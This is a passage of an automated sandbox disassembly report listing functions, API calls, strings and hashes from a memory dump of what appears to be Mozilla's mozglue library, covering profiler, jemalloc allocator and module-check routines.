Opcode ID: 887b9d8921f5683962fee9927c6084ad52702b09a77741266acfd5a3e06ec50e
Instruction ID: f3a8cd0fdf1c4a8f2ca9ddbfcd9e2b4c5577e48b0047078861734f2bcdcb02b0
Opcode Fuzzy Hash: 887b9d8921f5683962fee9927c6084ad52702b09a77741266acfd5a3e06ec50e
Instruction Fuzzy Hash: 8AF25C74909B80CFC725CF29C09469AFBF1FF8A304F118A5ED98997711DB71A886CB46

Function 6C66F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C66F09B

Part of subcall function 6C645B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6456EE,?,00000001), ref: 6C645B85
Part of subcall function 6C645B50: EnterCriticalSection.KERNEL32(6C6AF688,?,?,?,6C6456EE,?,00000001), ref: 6C645B90
Part of subcall function 6C645B50: LeaveCriticalSection.KERNEL32(6C6AF688,?,?,?,6C6456EE,?,00000001), ref: 6C645BD8
Part of subcall function 6C645B50: GetTickCount64.KERNEL32 ref: 6C645BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C66F0AC

Part of subcall function 6C645C50: GetTickCount64.KERNEL32 ref: 6C645D40
Part of subcall function 6C645C50: EnterCriticalSection.KERNEL32(6C6AF688), ref: 6C645D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C66F0BE

Part of subcall function 6C645C50: __aulldiv.LIBCMT ref: 6C645DB4
Part of subcall function 6C645C50: LeaveCriticalSection.KERNEL32(6C6AF688), ref: 6C645DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C66F155
GetCurrentThreadId.KERNEL32 ref: 6C66F1E0
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F1ED
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F212
GetCurrentThreadId.KERNEL32 ref: 6C66F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C66F248
GetCurrentThreadId.KERNEL32 ref: 6C66F2AE
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F2BB
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F2F8

Part of subcall function 6C65CBE8: GetCurrentProcess.KERNEL32(?,6C6231A7), ref: 6C65CBF1
Part of subcall function 6C65CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6231A7), ref: 6C65CBFA

Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C634A68), ref: 6C66945E
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C669470
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C669482
Part of subcall function 6C669420: __Init_thread_footer.LIBCMT ref: 6C66949F

GetCurrentThreadId.KERNEL32 ref: 6C66F350
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F35D
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F381
GetCurrentThreadId.KERNEL32 ref: 6C66F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66F3A0
GetCurrentThreadId.KERNEL32 ref: 6C66F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66F491

Part of subcall function 6C6694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6694EE
Part of subcall function 6C6694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C669508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C66F3CF

Part of subcall function 6C66F070: GetCurrentThreadId.KERNEL32 ref: 6C66F440
Part of subcall function 6C66F070: AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F44D
Part of subcall function 6C66F070: ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C66F4A8
GetCurrentThreadId.KERNEL32 ref: 6C66F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66F561
GetCurrentThreadId.KERNEL32 ref: 6C66F577
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F585
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C66F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C66F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C66F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C66F3A8
[I %d/%d] profiler_resume, xrefs: 6C66F239

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: c66978ba76084485408abb03c10e57b25ecd3d3cf3dca73d00a827a4f92729a0
Instruction ID: 68c671ecbe50fbcd141753a7dbe7ee32d1eb6c4a79cf09b23b997ed43af82043
Opcode Fuzzy Hash: c66978ba76084485408abb03c10e57b25ecd3d3cf3dca73d00a827a4f92729a0
Instruction Fuzzy Hash: EED1D731A042049FDB009FABE48479D7BF8EF87358F144519E95593F82DB7168058B9F

Function 6C6364C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6364DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6364F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C636505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C636518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C63652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C63671C
GetCurrentProcess.KERNEL32 ref: 6C636724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C63672F
GetCurrentProcess.KERNEL32 ref: 6C636759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C636764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C636A80
GetSystemInfo.KERNEL32(?), ref: 6C636ABE
__Init_thread_footer.LIBCMT ref: 6C636AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C636AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C636AF7

Strings

nvd3d9wrap.dll, xrefs: 6C636500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C636798
user32.dll, xrefs: 6C636526
_etoured.dll, xrefs: 6C6364ED
detoured.dll, xrefs: 6C6364DA
nvdxgiwrap.dll, xrefs: 6C636513

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: be47c35aabb81de7025b281f0e1f1ea30e8662b9527ea30570b94d1631f9a6cd
Instruction ID: f8b7eb8e4476888033ed7bdd3d63a32f405131b2de36da9ec8a49cd28480ed08
Opcode Fuzzy Hash: be47c35aabb81de7025b281f0e1f1ea30e8662b9527ea30570b94d1631f9a6cd
Instruction Fuzzy Hash: 1CF1E1709052299FCB20CF65CC88BDAB7B4BF46318F146299D80DA7681D731EE85CF99

Function 6C64D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C64D904
LeaveCriticalSection.KERNEL32(?), ref: 6C64D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C64D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C64E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C64E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C64E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C64E315
AcquireSRWLockExclusive.KERNEL32(6C6AE804), ref: 6C64E37C
GetSystemInfo.KERNEL32(?), ref: 6C64E3C7
__Init_thread_footer.LIBCMT ref: 6C64E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6AE810,00000040), ref: 6C64E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6AE7B8,00001388), ref: 6C64E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6AE744,00001388), ref: 6C64E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6AE784,00001388), ref: 6C64E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6AE7DC,00001388), ref: 6C64E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6AE768,00001388), ref: 6C64E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C64E52E
ReleaseSRWLockExclusive.KERNEL32(6C6AE804), ref: 6C64E54F

Part of subcall function 6C63D960: EnterCriticalSection.KERNEL32(?), ref: 6C63D999
Part of subcall function 6C63D960: EnterCriticalSection.KERNEL32(6C6AE7B8), ref: 6C63DA13

Strings

MALLOC_OPTIONS, xrefs: 6C64E3FF
Compile-time page size does not divide the runtime one., xrefs: 6C64E621
MOZ_CRASH(), xrefs: 6C64E62B
<jemalloc>, xrefs: 6C64E61C, 6C64E6CC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C64E560, 6C64E58A, 6C64E5A5
: (malloc) Unsupported character in malloc options: ', xrefs: 6C64E6DD

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: c0514c3a83faec91067728658c49cd106ae1bd0ecbe9a1fd34fe3da1aa9ef00f
Instruction ID: 7f289b6bef4916163186e11230c37f76b1febde94e3e1fa474f166fbef314e3c
Opcode Fuzzy Hash: c0514c3a83faec91067728658c49cd106ae1bd0ecbe9a1fd34fe3da1aa9ef00f
Instruction Fuzzy Hash: 6192AB71A056118FD718CF29C880755FBE1BF86728F29C66DE8698BB91D331E841CBC9

Function 6C68C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C68C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C68C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C68C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C68C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C68C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C68CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C68CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C68DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C68DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C68DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C68DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C68DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C68E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C68E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C68E472

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 6017fc01437cb0b88d0689c280405705158e2de566ecf92b0d45fdb5c06714ff
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 2C33CF71E0121ACFCB04CFA8C8806EDBBF2FF49314F28426AD955AB755D731A945CBA4

Function 6C64ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C64EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C64EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C651695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6516B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C651770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C651A3E

Strings

~qbl, xrefs: 6C64ED13
~qbl, xrefs: 6C64ED10

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qbl$~qbl
API String ID: 3693777188-617641808
Opcode ID: 34c159a0ee64c188d6dde58763d8b51cb48a5536afd2d2910c01913a3d4c07d3
Instruction ID: 1f52ea5b1a74410e4b4bb57d0bb1cb033ce7a0f4ab24bd5b14e4fad61ed45c58
Opcode Fuzzy Hash: 34c159a0ee64c188d6dde58763d8b51cb48a5536afd2d2910c01913a3d4c07d3
Instruction Fuzzy Hash: 35B32A71E04219CFCB24CFA8C890ADDB7B2BF49308F6581A9D449AB745D730AD96CF94

Function 6C63FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6AE7B8), ref: 6C63FF81
LeaveCriticalSection.KERNEL32(6C6AE7B8), ref: 6C64022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C640240
EnterCriticalSection.KERNEL32(6C6AE768), ref: 6C64025B
LeaveCriticalSection.KERNEL32(6C6AE768), ref: 6C64027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C640D67, 6C640D7B, 6C640DAC
<jemalloc>, xrefs: 6C640D62, 6C640D76, 6C640DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C63FE99, 6C63FEB7, 6C63FED3, 6C640DB8, 6C640DD3, 6C6419B4

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 4d7d7afeec5bb26ff1e1cc939af7255566ead669e3fb6c41eab36848b8ba79e8
Instruction ID: 769517c407d6de1f30c67477b13eb83e23af38cd8ef52c56c17306b5b71b31f9
Opcode Fuzzy Hash: 4d7d7afeec5bb26ff1e1cc939af7255566ead669e3fb6c41eab36848b8ba79e8
Instruction Fuzzy Hash: 62C2E071A057518FD714CF28C980756BBE1BF86328F28C66DE86A8B7D5C731E841CB89

Function 6C68E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C68E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C68EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C68EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C68EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C68F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C68F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C690E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C690E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C690EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C690ED4

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 7b265bb194e388e0fc5ffcf24a6c71db2431d62be54de27044056fdf9ff14a9b
Instruction ID: d304b1d7c15ef3b85996a938e20fb541c60451f1076efc00fee0770f19efff00
Opcode Fuzzy Hash: 7b265bb194e388e0fc5ffcf24a6c71db2431d62be54de27044056fdf9ff14a9b
Instruction Fuzzy Hash: 13639E71E0025ACFCB04CFA8C8906DDFBB2FF89314F298269D855AB755D730A946CB94

Function 6C663E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C687770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>fl,?,?,?,6C663E7D,?,?), ref: 6C68777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C663F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C663F5C
VerSetConditionMask.NTDLL ref: 6C663F8D
VerSetConditionMask.NTDLL ref: 6C663F99
VerSetConditionMask.NTDLL ref: 6C663FA0
VerSetConditionMask.NTDLL ref: 6C663FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C663FB4

Strings

C>fl, xrefs: 6C663E93
nvd3d9wrap.dll, xrefs: 6C664466
nvinit.dll, xrefs: 6C664479

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>fl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-292132677
Opcode ID: 748094dd45a635dd2a12fe62d1ceff7ae676657ea825cb9ca5d9bd1abcd6ab93
Instruction ID: ba098af5fbfcb71f4cf0d1f423df8cb87876ccde21be0d10976f12acca68984c
Opcode Fuzzy Hash: 748094dd45a635dd2a12fe62d1ceff7ae676657ea825cb9ca5d9bd1abcd6ab93
Instruction Fuzzy Hash: C4521431614B494FDB10DF35C990ABB77E9AF82308F04492DD5968BB82CB74F909CB69

Function 6C63FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6AE7B8), ref: 6C63FF81
LeaveCriticalSection.KERNEL32(6C6AE7B8), ref: 6C64022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C640240
EnterCriticalSection.KERNEL32(6C6AE768), ref: 6C64025B
LeaveCriticalSection.KERNEL32(6C6AE768), ref: 6C64027B

Strings

MOZ_CRASH(), xrefs: 6C640CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C63FE99, 6C63FEB7, 6C63FED3, 6C640DB8, 6C640DD3, 6C6419B4, 6C641A10

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 2c41a5cee87a2c208ffd0110ec0143155cb1dae8058bfc0b1660d692214cee38
Instruction ID: 7dbf0c571417d0c818e8b0344b120de3f7abf0d86d18f5ddb44f8455ab7ef3fc
Opcode Fuzzy Hash: 2c41a5cee87a2c208ffd0110ec0143155cb1dae8058bfc0b1660d692214cee38
Instruction Fuzzy Hash: BAB2ED71A097418FD718CF29C4D0756BBE1BF89328F28C66CE96A8B795C730E851CB49

Function 6C675600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6C675CB6
expected a Count entry, xrefs: 6C675AC3
ProfileBuffer parse error: %s, xrefs: 6C675AC8, 6C675CBB
name, xrefs: 6C675E79, 6C675E8F
schema, xrefs: 6C67606D
data, xrefs: 6C676131

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: e705c050adf10543c1c65fe08147ab6536a8fd67bfcd70b30dbe82686217ef45
Instruction ID: 3d648902841e265260f929d200de34a838286439610a08da700e730abcae9096
Opcode Fuzzy Hash: e705c050adf10543c1c65fe08147ab6536a8fd67bfcd70b30dbe82686217ef45
Instruction Fuzzy Hash: 34924C71A083418FD724CF28C49079AB7E1BFC9308F158D6DE59A9B751DB30E849CBA6

Function 6C637810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6AE744), ref: 6C637885
LeaveCriticalSection.KERNEL32(6C6AE744), ref: 6C6378A5
EnterCriticalSection.KERNEL32(6C6AE784), ref: 6C6378AD
LeaveCriticalSection.KERNEL32(6C6AE784), ref: 6C6378CD
EnterCriticalSection.KERNEL32(6C6AE7DC), ref: 6C6378D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C6378E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C63795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C6379BB
LeaveCriticalSection.KERNEL32(?), ref: 6C637BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C637C82
LeaveCriticalSection.KERNEL32(6C6AE7DC), ref: 6C637CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C637DAF

Strings

Djl, xrefs: 6C63787F
Djl, xrefs: 6C63789F

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Djl$Djl
API String ID: 759993129-3876424974
Opcode ID: 74de84fb9aab653ea296d7ff5bdf2df944f75eea47b38ba925f91cc0f9e12261
Instruction ID: 41b4a68644f4c26fa3d0b51835de9009b5f0a4408fa6ae45f49661118bdf0a18
Opcode Fuzzy Hash: 74de84fb9aab653ea296d7ff5bdf2df944f75eea47b38ba925f91cc0f9e12261
Instruction Fuzzy Hash: 08026131A0122ACFDB54CF19C984799B7B5FF88318F2592AAD80DA7751D730AE91CF84

Function 6C672E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C672ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C672EE7
